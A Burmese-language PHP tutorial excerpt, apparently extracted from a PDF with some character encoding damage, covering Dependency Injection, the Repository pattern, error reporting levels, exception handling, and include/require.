မှာပါ။  တgခား  Logger  အမျ ို းအစားdတွ  dgပာင်းလဲအသုံးgပုချင်လ့ုိ  မရနိုင်dတာ့ပါzူး။  ဒါdeကာင့်
Dependency Injection dရးဟန်ကိုအသံုးgပုပြပီး အခုလုိgပင်လုိက်ပါမယ်။

 PHP 
<?php

interface Log
{
    public function write($log);
}

class TextLogger implements Log
{
    public function write($log) {
        // Save $log to text file
        echo $log;
    }
}

class DatabaseLogger implements Log
{
    public function write($log) {
        // Save $log to database
        echo $log;
    }
}
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class App
{
    private $logger;
    public function __construct(Log $logger)
    {
        $this->logger = $logger;
    }

    public function run()
    {
        $this->logger->write("App is running");
    }
}

$app = new App(new TextLogger);
$app->run();

ဒီတစ်ခါdတာ့ App Class  နဲ့  Object တည်dဆာက်ရင် Log Interface ကလာတဲ့ Object ကို dပးရdတာ့
မှာပါ။  နမူနာမှာ  Object  တည်dဆာက်စဉ်  TextLogger ကိုdပးလုိက်လ့ုိ  အလုပ်လုပ်တဲ့အခါ
TextLogger နဲ့  အလုပ်လုပ်သွားမှာပါ။  အကယ်၍ အခုလုိ  DatabaseLogger ကိုdပးလုိက်မယ်ဆို
ရင် DatabaseLogger နဲ့ dgပာင်းလဲအလုပ်လုပ်dပးသွားမှာပဲ goစ်ပါတယ်။

$app = new App(new DatabaseLogger);
$app->run();

ဒီdရးနည်းကို  Dependency  Injection  လ့ုိdခါ်တာပါ။  dရးနည်းက ရိုးရိုးdလးနဲ့  ပုိပြပီးdတာ့  dကာင်းမွန်
အသံုးဝင်တဲ့  ကုဒ်ကို  ရရိှသွားမှာပဲ  goစ်ပါတယ်။  Dependency  Injection  ကို  Factory  Pattern  dတွ
Provider Pattern  dတွနဲ့  dပါင်းစပ်လုိက်တဲ့အခါမှာdတာ့  Laravel  လုိ  Framework  မျ ို းdတွက dပးထား
တဲ့ အလွန်ကျယ်gပန့်တဲ့ Service Container လုပ်dဆာင်ချက်dတွကို ရရှိသွားနိုင်ပါတယ်။

တစ်ကယ့်ကုဒ်အစစ်ကို အကုန်စုံdအာင် dgပာလ့ုိမရdပမယ့် သdzာသzာဝdလးdလာက်dတာ့ ထည့်dgပာ
ချင်ပါတယ်။ dစာdစာက Provider Pattern မှာ Services dတွ Register လုပ်ခဲ့တာကို မှတ်မိeကဦးမှာပါ။
ဒီလုိပါ – 
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$services = new Services;
$services->register("text", Text::class);
$services->register("memory", Memory::class);

ဒီလုိ Register လုပ်စဉ်မှာ Service ကdနအသံုးgပုdစလုိတဲ့ Dependency dတွကို တစ်ခါထဲ Inject လုပ်ပြပီး
dပးလုိက်လ့ုိ ရနိုင်ပါတယ်။ ဒီလုိပါ –

 Pseudocode 
$services->register("app", function() {
    return new App(new DatabaseLogger)
});

app ကို Service အdနနဲ့ Register လုပ်စဉ်ကထဲက လုိအပ်မယ့် Dependency ကို ထည့်dပးလုိက်တာပါ။
ဒါdeကာင့် – 

 Pseudocode 
$app = $provider->make("app");

လ့ုိdgပာလိုက်ချနိ်မှာ  $app Object  နဲ့အတူ  Inject  လုပ်ပြပီးသား  Dependency  ကိုပါရရှိသွားမှာပဲ  goစ်ပါ
တယ်။ ဒီနည်းကdပးတဲ့  အားသာချက်ကdတာ့  Dependency  dgပာင်းချင်ရင်  Service  ကို  Register  လုပ်
ချနိ်မှာ dgပာင်းလုိက်ယံုနဲ့ ကျန်ကုဒ်dတွကို gပင်စရာမလုိzဲ လုိချင်တဲ့ရလဒ်ကို ရရိှသွားမှာပါ။ ဒီလုိပါ – 

 Pseudocode 
$services->register("app", function() {
    return new App(new TextLogger)
});

နားလည်ရခက်dနနိုင်dပမယ့် နားလည်သွားရင် အရမ်းမုိက်ပြပီး  စနစ်ကျတဲ့  dရးဟန်ကို  ရရှိသွားမှာ goစ်ပါ
တယ်။ ဒီကုဒ်ကိုလက်dတွ့စမ်းလို့dတာရ့မှာ မဟုတ်ပါzူး။ သdzာသzာဝနားလည်dအာင် doာ်gပdပးတဲ့
နမူနာကုဒ်သက်သက်ပါ။  Laravel လုိ Framework မျ ို းမှာ ဒီလုပ်dဆာင်ချက်ပါဝင်လ့ုိ၊ သdzာသzာဝကို
နားလည်ထားမယ်ဆိုရင် dလ့လာလ့ုိ ပုိdကာင်းသွားမှာgoစ်လ့ုိ ထည့်သွင်းdoာ်gပgခင်း goစ်ပါတယ်။
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Repository
Repository  Pattern  ကိုလည်းdနာက်ပိုင်းမှာ  လူကြကိုက်များလာပါတယ်။  ဒီ  Pattern  ကလည်း  GoF
Pattern  dတွထဲမှာ  မပါပါzူး။  Eric  Evens  လ့ုိdခါ်တဲ့  ပညာရှင်  တစ်ဦးdရးသားတဲ့  Domain  Driven
Design ဆိုတဲ့စာအုပ်မှာ ပါတဲ့ Pattern goစ်ပါတယ်။

လက်dတွ့ပdရာZျက်dတွမှာ  Data  dတွ  သိမ်းo့ုိအတွက်  Database  နည်းပညာdတွကို  သံုးeကပါတယ်။
Data  dတွစီမံgခင်း၊  သိမ်းဆည်းgခင်း၊  ရယူgခင်း  လုပ်ငန်းdတွ  လုပ်o့ုိအတွက်လည်း  Pattern  dတွ  ရိှeကပါ
dသးတယ်။ တစ်ချ ို ့ zာ Pattern မှမသံုးzဲ SQL Query Language ကို တိုက်ရိုက်အသုံးgပု စီမံeကတယ်။
တစ်ချ ို ့က  Table  Gateway  Pattern  လ့ုိdခါ်တဲ့  Pattern  တစ်မျ ို းကို  သံုးeကတယ်။  တစ်ချ ို ့  Object
Relational  Mapping (ORM)  လ့ုိdခါ်တဲ့  Pattern  ကို  သံုးeကတယ်။ အမျ ို းမျ ို းပါပဲ။  ဒီနည်းပညာdတွကို
Data Layer သ့ုိမဟုတ် Data Abstraction လ့ုိdခါ်eကပါတယ်။ Repository Pattern ဆိုတာ အ့ဲဒီလုိ Data
dတွ  စီမံdပးနိုင်တဲ့  အလွှာနဲ့  Data  ကို  လက်dတွ့အသံုးချမယ့်  အလွှာတို့ရဲ့  eကားထဲကdန goည့်စွက်dပး
ထားတဲ့ dနာက်ထပ် အလွှာတစ်ထပ် (Abstraction တစ်ခု) ပါပဲ။

စားdသာက်oွယ်ရာdတွကို  မီးoုိdချာင်ထဲမှာ ချက်gပုတ်deကာ်dလှာ်ပြပီး  အုိးထဲကdန တစ်ခါထဲ နှိုက်စားရင်
လည်း ဗုိက်dတာ့ဝမှာပါပဲ။ ဒါdပမယ့် ပန်းကန်dလးနဲ့ dသdသချာချာ သပ်သပ်ရပ်ရပ်ထည့်၊ ဇွန်းdလးzာ
dလးတပ်ပြပီး၊ ထမင်းစား စားပဲွdပါ် ကျကျနနတင်ပြပီးမှ စားdတာ့ ပုိအရသာရှိတာdပါ့။ ဒီလုိပါပဲ  Data  ကို
တစ်ခါထဲ  Database  ထဲကdန နှိုက်သံုးမယ့်အစား၊  Repository  ထဲ ထည့်၊ လုိအပ်သလုိ မွန်းမံပြပီးdတာ့မှ
အမှန်တစ်ကယ်အသံုးချမယ့် dနရာကို ပ့ုိdပးလုိက်dတာ့ ပုိပြပီးdတာ့ စနစ်ကျသွားတာdပါ့။

ဥပမာ ဒီလုိ Data dတွစီမံdပးနိုင်တဲ့ Model Class နဲ့ အ့ဲဒီ Model ကိုအသံုးgပုထားတဲ့ App Class တို့ ရှိeက
တယ်ဆိုပါစို့ – 
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 PHP 
<?php
class Model
{
    public function save()
    {
        echo "Saving $this->name and $this->age";
    }
}

class App
{
    public function update($data)
    {
        $model = new Model;
        $model->name = $data['name'];
        $model->age = $data['age'];
        $model->save();
    }
}

$app = new App;
$app->update(["name" => "Alice", "age" => 22]);
// Saving Alice and 22

Model ရဲ့ save() က Property dတွgoစ်eကတဲ့ name နဲ့ age တို့ရှိမှ အလုပ်လုပ်မှာပါ။ ဒါdeကာင့် App
က Model Object dဆာက်ပြပီးတဲ့အခါ လုိအပ်တဲ့  Property dတွသတ်မှတ်ပါတယ်။ ပြပီးdတာ့မှ  Model  ရဲ့
save() နဲ့  Data  dတွကို  သိမ်းdပးလုိက်တယ်လ့ုိ  သdzာထားရမှာပါ။  ဒီလုိ  တိုက်ရိုက်အသံုးgပုမယ့်
အစား eကားထဲမှာ Repository တစ်လွှာထပ်ပြပီး ခံလုိက်လို့ ရနိုင်ပါတယ်။

 PHP 
<?php
class Model
{
    public function save()
    {
        echo "Saving $this->name and $this->age";
    }
}
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class Repository
{
    public function update($data)
    {
        $name = $data['name'] ?? "Unknown";
        $age = $data['age'] ?? "Unknown";

        $model = new Model;
        $model->name = $name;
        $model->age = $age;
        $model->save();
    }
}

class App
{
    private $repo;
    public function __construct(Repository $repo)
    {
        $this->repo = $repo;
    }

    public function update($data)
    {
        $this->repo->update($data);
    }
}

$app = new App(new Repository);
$app->update(["name" => "Alice", "age" => 22]);
// Saving Alice and 22

ဒီနည်းကdပးတဲ့ အားသာချက် နှစ်ချက်ရှိပါတယ်။ ပထမတစ်ချက်ကdတာ့ Data dတွ စစ်dဆးတဲ့ အလုပ်
အပါအဝင်  အdသးစိတ်စီမံတဲ့  အလုပ်dတွကို  App  မှာ  လုပ်စရာမလုိdတာ့ပါzူး။  SOLID  ရဲ့  Single
Responsibility Principle အသက်ဝင်သွားတာပါ။ Data ကိုသပ်သပ်စီမံပြပီး App ကို သပ်သပ်စီမံလ့ုိ ရသွား
ပါတယ်။  ဒုတိယအားသာချက်ကdတာ့  Repository  ကို  Dependency  Injection  နဲ့  အသုံးgပုထားလို့
လုိအပ်ရင်  Repository  dgပာင်းသုံးလ့ုိ  ရနိုင်ပါတယ်။  လက်ရှိ  Model  ကိုသုံးdနdပမယ့်၊  လုိအပ်ချက်အရ
တgခား Data Layer ကို dgပာင်းသံုးရမယ်ဆိုရင် dgပာင်းရပုိလွယ်သွားမှာပဲ goစ်ပါတယ်။
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ထံုးစံအတိုင်း လက်dတွ့အသံုးချတဲ့အခါ တစ်dယာက်နဲ့တစ်dယာက် အdသးစိတ် dရးဟန်dတွကွာသွားနိုင်
ပါတယ်။  ပြပီးdတာ့  Data  စီမံတဲ့အdeကာင်း  dgပာdနတာမ့ုိလို့  ပdရာZျက်တစ်ခုနဲ့တစ်ခု  လုိအပ်ချက်gခင်း
လည်း မတူeကgပန်ပါzူး။ ဒါdeကာင့် လက်dတွ့ကုဒ်dတွနဲ့  Implementation ကdတာ့ ကွဲgပားနိုင်ပါတယ်။
ဒါdပမယ့် လုိရင်းအချုပ်အdနနဲ့  Data   ကို တိုက်ရိုက်စီမံမယ့်အစား eကားခံ    Repository   တစ်ခု ထားလုိက်  
မယ်ဆိုရင်   Single Responsibility Principle   နဲ့အညီ ပုိစနစ်ကျတဲ့ကုဒ်ကိုရနိုင်ပြပီး   Data Layer   ကို လုိအပ်  
ရင် dgပာင်းသံုးလ့ုိရတဲ့ အားသာချက်ကို ရနိုင်တယ် ဆိုတဲ့အချက်ကို အထူးgပု မှတ်သားရမှာ goစ်ပါတယ်။

Other Patterns
အခုdoာ်gပခဲ့တဲ့  Pattern dတဟွာ Laravel  မှာ အသံုးgပုထားတဲ့  Pattern dတွလ့ုိ dgပာခဲ့ပါတယ်။။ ဒါဟာ
တgခား  Pattern  dတွကို  Laravel  မှာ သံုးလ့ုိမရzူးဆိုတဲ့ အဓိပ္ပါယ်မဟုတ်zူး။ တgခား  Patterns  dတွကို
dလ့လာသိရှိပြပီး  သင့်dတာ်တဲ့  dနရာမှာ  အသံုးချမယ်ဆိုရင်  ပုိပြပီးdတာ့  သပ်ရပ်စနစ်ကျတဲ့  ကုဒ်dတွကို
dရးသားနိုင်မှာ goစ်ပါတယ်။ 

GoF Design Patterns (၂၃)  ခုလံုးနဲ့  တgခား  Patterns  တစ်ချ ို ့ကို  PHP  နဲ့  နမူနာ dရးgပထားတဲ့  Repo
တစ်ခရုှိပါတယ်။  စာdရးသူကိုယ်တိုင်  dရးသားထားတာပါ။  အခု  ချက်ချင်းမဟုတ်ရင်dတာင်  dနာက်ပုိင်း
အချနိ်dပးနိုင်တဲ့အခါ ဆက်လက်dလ့လာeကည့်သင့်ပါတယ်။ 

- https://github.com/eimg/design-patterns-php

https://github.com/eimg/design-patterns-php
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အခန်း (၃၃) – PHP Error Handling

ကုဒ်dတွ dရးeကတဲ့အခါ Error ဆိုတာ dရှာင်လဲွလ့ုိမရနိုင်ပါzူး။ dရးထံုးအမှားdeကာင့်လည်း Error တက်
မယ်၊  Semicolon  ကျန်ခဲ့လ့ုိလည်း  Error  တက်မယ်၊  အoွင့်အပိတ်မမှန်လ့ုိလည်း  Error  တက်မယ်၊
စာလံုးdပါင်းမှားလ့ုိလည်း Error တက်မယ်၊ gပင်ပသက်dရာက်မှုတစ်ခုခုdeကာင့်လဲ Error တက်မယ်၊ Error
dတကွdတာ့ ပံုစံအမျ ို းမျ ို းပါပဲ။ ဒီ Error dတဟွာ တစ်ခုနဲ့တစ်ခု အမျ ို းအစားမတူသလုိ အဆင့်လည်းမတူ
eကပါzူး။  တစ်ချ ို ့  Error  dတွက သတိdပးယံုသက်သက်goစ်ပြပီး တစ်ချ ို ့  Error  dတွကdတာ့ ပရိုZရမ်ကို
လံုးဝ  ရပ်တန့်သွားdစတဲ့  Error  dတွပါ။  ဒီအdeကာင်းကိုလည်း  ထည့်သွင်းdoာ်gပလုိပါတယ်။။  PHP  မှာ
Error အမျ ို းအစား (၁၆) မျ ို းထိရှိပါတယ်။ အ့ဲဒီထဲက အဓိကအကျဆုံးကdတာ့ ဒီ (၇) မျ ို းပါ။

1. E_PARSE
2. E_ERROR
3. E_WARNING
4. E_NOTICE
5. E_STRICT
6. E_DEPRECATED
7. E_ALL

E_PARSE ဆိုတာဟာ ကုဒ်ကို  Run  တဲ့အဆင့် မdရာက်လုိက်zဲ dရးထားတဲ့  Syntax  မှာတင် မှားdနလ့ုိ
တကတ်ဲ့  Error  အမျ ို းအစား ပါ။  E_ERROR ဆိုတာdတာ့  Fatal Error  dတွပါ။ ပရိုZရမ်ကို  လံုးဝရပ်တန့်
သွားdစတဲ့  Error  dတွပါ။  E_WARNING  ကလည်း Error  တစ်မျ ို းပါပဲ။ ပရိုZရမ်က ဆက်အလုပ် လုပ်dန
dသးdပမယ့် တစ်ခုခdုတာ့ အကြကီးအကျယ် မှားdနပြပီဆိုတဲ့အခါမျ ို းမှာ တက်ပါတယ်။  
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E_NOTICE နဲ့သတ်မှတ်ထားတဲ့  Notice  dတွကdတာ့  မှားနိုင်dgခရှိတဲ့အdgခအdနမျ ို းမှာ  တက်ပါတယ်။
ဥပမာ Array တစ်ခရုဲ့ မရှိdသးတဲ့  Index မှာ တန်oုိးသတ်မှတ်တဲ့အခါ သတ်မှတ်လ့ုိ ရပါတယ်။ ဒါdပမယ့်
မှားdနနိုင်တဲ့အတွက် Notice Error အမျ ို းအစားကို dပးdလ့ရှိပါတယ်။  E_STRICT ဆိုတာကdတာ့ PHP
မှာ Strict Mode လ့ုိdခါ်တဲ့ သdzာသzာဝတစ်မျ ို း ရိှပါတယ်။ ဥပမာ ဒီကုဒ်ကိုeကည့်ပါ။

 PHP 
<?php
function add(int $a, int $b) {
    echo $a + $b;
}

add(1, "2"); // 3

နမူနာအရ  add() Function  ကို  dခါ်တဲ့အခါ  Integer  တန်oုိးdတွကို  Argument  အdနနဲ့  dပးရမယ်လ့ုိ
သတ်မှတ်ထားပါတယ်။ ဒါdပမယ့် တစ်ကယ်တမ်း dပးတဲ့အခါ String   တန်oုိးတစ်ခုကို dပးdပမယ့်   Error  
မတက်ပါzူး။  အလုပ်လုပ်ပါတယ်။  String  ဆိုdပမယ့်  Number  String  ကို  Integer  dgပာင်းမယ်ဆိုရင်
dgပာင်းလ့ုိရdနတဲ့အတွက် PHP က dgပာင်းပြပီးdတာ့ပဲ အလုပ်လုပ်dပးမှာပါ။ အ့ဲဒါမျ ို းကို လက်မခံdစလုိရင်
ဒီလုိdရးလ့ုိရပါတယ်။

 PHP 
<?php
declare(strict_types=1);
function add(int $a, int $b) {
    echo $a + $b;
}

add(1, "2");
// Error: Argument #2 ($b) must be of type int, string given

အdပါ်ဆုံးမှာ  declare Statement  နဲ့  strict_types=1 လ့ုိ  deကညာလုိက်တဲ့အတွက်  PHP  က
ကုဒ်dတွကို  Strict  Mode  နဲ့အလုပ်လုပ်dပးသွားမှာပါ။  ဒီတစ်ခါdတာ့  မရdတာ့ပါzူး။  သတ်မှတ်ထားတဲ့
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အတိုင်း အတိအကျdပးမှပဲ အလုပ်လုပ်dတာ့မှာပါ။ ဒါdeကာင့် Integer dပးရမယ့်dနရာမှာ String ကို dပး
ထားတဲ့အတွက် Error တက်သွားပါပြပီ။ ဒီလုိ Error အမျ ို းအစားကို Strict Error လ့ုိdခါ်တာပါ။

E_DEPRECATED နဲ့ သတ်မှတ်ထားတဲ့  Deprecated Error dတွကdတာ့ အသံုးမgပုသင့်zူးလ့ုိ သတ်မှတ်
ထားတဲ့  လုပ်dဆာင်ချက်dတွကို  အသံုးgပုတဲ့အခါ dပးတဲ့  Error  dတွgoစ်ပါတယ်။ လကရ်ှိသုံးလ့ုိရပါdသး
တယ်။ အလုပ်လုပ်ပါတယ်။ ဒါdပမယ့် မသုံးသင့်dတာ့zူး၊  dနာက်    PHP Version    dတွမှာ အလုပ်လုပ်မှာ  
မဟုတ်dတာz့ူး ဆိုတဲ့ အဓိပ္ပါယ်ပါ။

E_ALL ဆိုတာကdတာ့ Error အမျ ို းအစားအားလံုးကို ရည်ညွှန်းပါတယ်။

ကိုယ်ရဲ့ကုဒ်မှာ Error dတွရှိလာတဲ့အခါ zယ်လုိ Error အမျ ို းအစားဆိုရင် gပရမယ်။ zယ်လို Error အမျ ို း
အစားဆိုရင် မgပရzူးဆိုတာမျ ို းကို  သတ်မှတ်ထားလ့ုိရပါတယ်။ ပံုမှန်အားgoင့် ဒီ သတ်မှတ်ချက်ကို  PHP
Setting goစ်တဲ့ php.ini ဆိုတဲ့ oုိင်ထဲမှာ သတ်မှတ်ထားdလ့ရှိပါတယ်။ Windows မှာ Install လုပ်ထား
တဲ့ XAMPP အတွက်ဆိုရင် php.ini oုိင်ကို C:\xampp\php oုိဒါထဲမှာ ရှာပြပီးeကည့်လ့ုိရနိုင်ပါတယ်။

ကုဒ်ထဲမှာ ကိုယ်တိုင်dရးသားပြပီး Error dတွကို စီမံချင်ရင်လည်း ရနိုင်ပါတယ်။ error_reporting()
လ့ုိdခါ်တဲ့  Standard  Function  ကို  အသံုးgပုနိုင်ပါတယ်။  error_reporting(0) လ့ုိ  dရးသား
သတ်မှတ်dပးလုိက်ရင်  zာ  Error  ကိုမှ  gပdတာ့မှာ  မဟုတ်ပါzူး။  တစ်ခုခုမှားdနရင်  zာdeကာင့်မှန်းမ
dgပာzဲ  အလုပ်မလုပ်dတာ့လ့ုိ  အdeကာင်းရင်းကို  သိရမှာ  မဟုတ်dတာ့ပါzူး။
error_reporting(E_ALL) ဆိရုင်dတာ့  ရိှရှိသမျှ  Error  အမျ ို းအစား အားလံုးကိုgပမှာပါ။  dနာက်
တစ်နည်းအdနနဲ့  error_reporting(-1) လ့ုိလည်းdရးလ့ုိရပါdသးတယ်။  ဒါဆိုရင်လည်း  Error
အမျ ို းအစားအားလံုးကို gပမှာပဲ goစ်ပါတယ်။

အdရးကြကီးတဲ့  Parse Error, Fatal Error  dတွနဲ့  Warning  dတွကိုပဲ  gပdစချင်တယ်ဆိုရင်dတာ့ ဒီလုိdရး
dပးလုိက်လ့ုိ ရနိုင်ပါတယ်။

error_reporting(E_PARSE | E_ERROR | E_WARNING);
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ဒါဆိုရင်  Parse Error, Fatal Error dတွနဲ့  Warning dတွကလဲွရင် ကျန်  Error အမျ ို းအစားdတွကို gပမှာ
မဟုတ်dတာ့ပါzူး။ dနာက်ထပ်dရးနည်းကdတာ မgပdစချင်တာကို dရးွချန်တဲ့နည်းgoစ်ပါတယ်။ ဒီလုိdရး
ရပါတယ်။

error_reporting(E_ALL & ~E_NOTICE);

ဒါဆိုရင် Notice dတွကလဲွရင် ကျန် Error အားလံုးကိုgပမယ်လ့ုိ dgပာလုိက်တာပါ။

PHP မှာ Exception Handling သdzာသzာဝလည်း ရိှပါdသးတယ်။ Exception Handling ဆိုတာဟာ
Error  တကတ်ဲ့အခါ  ပရိုZရမ်  ရပ်မသွားdစzဲ  zာဆက်လုပ်ရမလဲဆိုတာကို  သတ်မှတ်dပးနိုင်တဲ့  နည်း
လမ်းပါ။ လုိအပ်ရင် ကိုယ်dရးတဲ့ကုဒ်ထဲမှာလည်း Exception dတွdပးလ့ုိရပါတယ်။ ဒီလုိပါ –

 PHP 
<?php
function add($nums) {
    if(!is_array($nums)) {
        throw new Exception("Argument must be array");
    }

    return array_sum($nums);
}

echo add(1);
// Error: Uncaught Exception: Argument must be array

add() ကိုdပးလာတဲ့  Argument ဟာ Array ဟုတ်မဟုတ်စစ်ပြပီး မဟုတ်zူးဆိုရင်  throw Statement
နဲ့ Exception Object တစ်ခုကို dပးခိုင်းလုိက်တာပါ။ ဒါdeကာင့် Array မဟုတ်တဲ့ တန်oုိးdပးပြပီး dခါ်လုိက်
တဲ့အခါ  Uncaught Exception Error  တက်သွားတာပါ။ ကိုယ့်zာသာ တက်ခိုင်းလုိက်တဲ့  Error  တစ်မျ ို း
လ့ုိ ဆိုနိုင်ပါတယ်။
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ဒီလုိ  Exception  dတွ  ရိှလာတဲ့အခါ  Error  မတက်dစzဲ  zာဆက်လုပ်ရမလဲ ဆိုတာကို  try-catch
Statement နဲ့ သတ်မှတ်dပးထားလ့ုိ ရပါတယ်။ ဒီလုိပါ – 

try {
    echo add(1);
} catch(Exception $e) {
    echo $e->getMessage();
}

// Argument must be array

dစာdစာက  add() Function  ကို  dခါ်ထားတာပါပဲ။  ဒီတစ်ခါdတာ့  add() Function  ကို  try
Statement ထဲမှာ dခါ်ထားပါတယ်။ ဒါdeကာင့် Exception ရိှလာတဲ့အခါ Error မတက်dတာ့zဲ  catch
Statement  ကို  အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။ နမူနာအရ  catch Statement  ထဲမှာ  Exception  ကို
လက်ခံယူပြပီး သူရဲ့ Message ကိုပဲ gပခိုင်းလုိက်တာပါ။ ဒါdeကာင့် ရလဒ်အdနနဲ့ Error Message ကိုပဲ ရမှာ
goစ်ပါတယ်။

try-catch Statement  နဲ့အတူ  တွဲသံုးနိုင်တဲ့  finally Statement  ဆိုတာလည်း ရှိပါdသးတယ်။
catch Statement ဟာ Exception ရှရိင် အလုပ်ပြပီး finally Statement ကdတာ့ Exception ရိှရှိ မ
ရိှရှိ အလုပ်လုပ်ပါတယ်။ ဒီလုိပါ – 

try {
    echo add(1);
} catch(Exception $e) {
    echo $e->getMessage();
} finally {
    echo "Done";
}

// Argument must be array
// Done

နမူနာအရ  Exception  ရိှdနလ့ုိ  catch Statement  အလုပ်လုပ်သွားပြပီးdနာက်  finally Statement
ကိုလည်း ဆက်အလုပ်လုပ်သွားတာကို dတွ့ရမှာgoစ်ပါတယ်။
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 PHP 
<?php
function add($nums) {
    if(!is_array($nums)) {
        throw new Exception("Argument must be array");
    }

    return array_sum($nums);
}

try {
    echo add([1, 2]);
} catch(Exception $e) {
    echo $e->getMessage();
} finally {
    echo "Done";
}

// 3
// Done

ဒီတစ်ခါdတာ့  Exception  မရှိလ့ုိ  catch Statement  အလုပ်မလုပ်dတာ့ပါzူး။  ဒါdပမယ့်  finally
Statement ကdတာ့ အလုပ်လုပ်သွားတယ်ဆိုတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။

ဒီနည်းကိုသာ စနစ်တကျအသံုးချမယ်ဆိုရင် Error ရှိလာတဲ့အခါ ပရိုZရမ်က ရပ်သွားတယ်ဆိုတာမျ ို း မgoစ်
dစdတာ့zဲ  Error  ရှိလာရင်  zာလုပ်ရမလဲဆိုတာကို  သတ်မှတ်dပးလ့ုိ  ရသွားတဲ့သdzာပဲ  goစ်ပါတယ်။
PHP  ရဲ့  Error  အားလံုးကို  ဒီနည်းနဲ့  oမ်းလ့ုိdတာ့  မရနိုင်ပါzူး။  Error  အများစုက ရိုးရိုး  Error  dတွပါ။
Exception Error  dတွ မဟုတ်eကပါzူး။ dနာက်ပုိင်း  PHP Version  dတွမှာ ထပ်မံgoည့်စွက်dပးထားတဲ့
လုပ်dဆာင်ချက်သစ်dတွမှာdတာ့  Exception  Error  dတွကို  အသုံးgပုထားပါတယ်။  dရးနည်းရှိမှန်း  သိ
ထားပြပီး သင့်dတာ်တဲ့dနရာမှာ အသံုးgပုနိုင်eကo့ုိပဲ goစ်ပါတယ်။
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အခန်း (၃၄) – PHP Modules & Namespaces

Programming  Language  တိုင်း  လုိလုိမှာ  Module  လုပ်dဆာင်ချက်ရှိပါတယ်။  ဒီ  Module
လုပ်dဆာင်ချက်ရဲ့  အကူအညီနဲ့  ကုဒ်dတွ  ခွဲထုတd်ရးသားgခင်း၊  လုိအပ်တဲ့အခါ  ရယူထည့်သွင်းအသံုးgပု
gခင်းအားgoင့် Reusable  ကုဒ်dတွကို  ရeကတာပါ။  JavaScript  မှာဆိုရင်  CommonJS Module  နဲ့  ES6
Module ဆိုပြပီး နည်းပညာမူကွဲ နှစ်မျ ို းရှိပါတယ်။

PHP မှာ Module လုပ်dဆာင်ချက် စစ်စစ်dတာ့ မရှိပါzူး။ ဒါdပမယ့် Module ကဲ့သ့ုိ ကုဒ်dတွကို ခွဲထုတ်
dရးသားထားပြပီး  လုိတဲ့dနရာမှာ  gပန်လည်ရယူထည့်သွင်းနိုင်တဲ့  နည်းdတွdတာ့  ရှိပါတယ်။  ဥပမာ
Math.php ဆိုတဲ့အမည်နဲ့ ဒီလုိoုိင်တစ်ခု ရှိတယ်ဆိုeကပါစို့ -

 PHP 
<?php
// Math.php
define('PI', 3.14);
function add($a, $b) {
    echo $a + $b;
}

ဒီoုိင်ထဲမှာပါတဲ့  လုပ်dဆာင်ချက်dတွကို  ရယူအသံုးgပုလုိတဲ့အခါ  include Statement  ကို အသံုးgပုပြပီး
အခုလုိရယူအသံုးgပုနိုင်ပါတယ်။
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 PHP 
<?php
// App.php

include('Math.php');
echo PI; // 3.14
echo add(1, 2); // 3

include အတွက်  ရယူအသံုးgပုလုိတဲ့  ကုဒ်oုိင်တည်dနရာကို  dပးရတာပါ။  နမူနာမှာ  oုိင်အမည်goစ်တဲ့
Math.php လ့ုိပဲdပးထားတဲ့အတွက် လက်ရှိ  App.php ရှိdနတဲ့ oုိဒါထဲမှာပဲ ရှာပြပီးထည့်dပးသွားမှာပါ။
ရှာလ့ုိ မdတွ့ရင်dတာ့ Warning တက်ပါလိမ့်မယ်။ အကယ်၍ ရယူအသံုးgပုလိုတဲ့oုိင်က တgခားdနရာမှာဆို
ရင် တည်dနရာအတိအကျ dပးo့ုိ လုိအပ်ပါလိမ့်မယ်။

include Statement နဲ့ တgခား Language dတရွဲ့ Module မတူတာက၊ Module ကုဒ်dတွမှာ dရးသား
သူက  ရယူအသံုးgပုခွင့်dပးလုိတဲ့  လုပ်dဆာင်ချက်ကို  သတ်မှတ်dပးလုိ့ရသလုိ၊  ရယူအသံုးgပုသူကလည်း
dပးထားတဲ့အထဲက လုိချင်တဲ့ လုပ်dဆာင်ချက်ကို dရွးချယ်ရယူလ့ုိ ရနိုင်မှာပါ။ include Statement မှာ
dတာ့ အ့ဲဒီလုိမျ ိူ း dရွးချယ်လ့ုိရမှာ မဟုတ်ပါzူး။  oုိင်တစ်ခုကို ချတိ်ဆက်ရယူလုိက်တာနဲ့ အ့ဲဒီoုိင်ထဲက ရှိ
သမျှကုဒ်အတွက်  အကုန်လံုးကို  ထည့်ပြပီး    Run    dပးသွားမှာပါ  ။  ဒီအချက်ကို  အထူးသတိgပုoို့လုိပါတယ်။
dနာက်တစd်ခါက်dလာက် ထပ်dgပာချင်ပါတယ်။  include Statement  နဲ့ ကုဒ်oုိင်တစ်ခုကို ချတိ်ဆက်
ရယူ လုိက်တဲ့အခါ အ့ဲဒီကုဒ်oုိင်ထဲမှာ dရးထားသမျှကုဒ်အကုန်လံုးကို  ချတိ်ဆက်လုိက်တဲ့  dနရာမှာ ထည့်
ပြပီး Run dပးသွားမှာပါ။

include Statement ကို dရးတဲ့အခါ dနာက်က ဝုိက်ကွင်းအoွင့်အပိတ် ထည့်dရးလ့ုိရသလုိ၊ မထည့်zဲ
လည်း dရးလ့ုိရပါတယ်။ ဒီလုိပါ – 

include('Math.php');

include 'Math.php';
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include Statement ရဲ့ မူကွဲအdနနဲ့  require Statement ကိုလည်း အသံုးgပုနိုင်ပါတယ်။ dရးသား
အသံုးgပုပုံ အတူတူပါပဲ။ 

require('Math.php');

require 'Math.php';

ကွာသွားတာက၊  oုိင်တစ်ခုကို  ချတိ်ဆက်လုိက်တဲ့အခါ  တည်dနရာ  မှားdနလ့ုိ  ချတိ်ဆက်မရတဲ့အခါ
include က  Warning  dပးပြပီး ကျန်ကုဒ်dတွကို  ဆက်အလုပ်လုပ်ပါတယ်။  require ကdတာ့  Error
dပးပြပီး  dနရာမှာတင် ဆက်အလုပ်မလုပ်dတာ့zဲ  ရပ်လုိက်မှာ  goစ်ပါတယ်။ ဒီလုိ  အgပုအမူ အနည်းငယ်
ကွာdပမယ့်  အသုံးgပုနည်းကdတာ့  အတူတူပဲမ့ုိလ့ုိ  မိမိနှစ်သက်ရာ  Statement  ကို  အသံုးgပုနိုင်ပါတယ်။
dရှ့ ဆက် doာ်gပတဲ့အခါမှာdတာ့ include ကိုအသံုးgပုပြပီးdတာ့ပဲ ဆက်လက်doာ်gပသွားပါမယ်။ တgခား
zာdeကာင့်မှ မဟုတ်ပါzူး။ သံုးdနeက goစ်dနလ့ုိပါ။

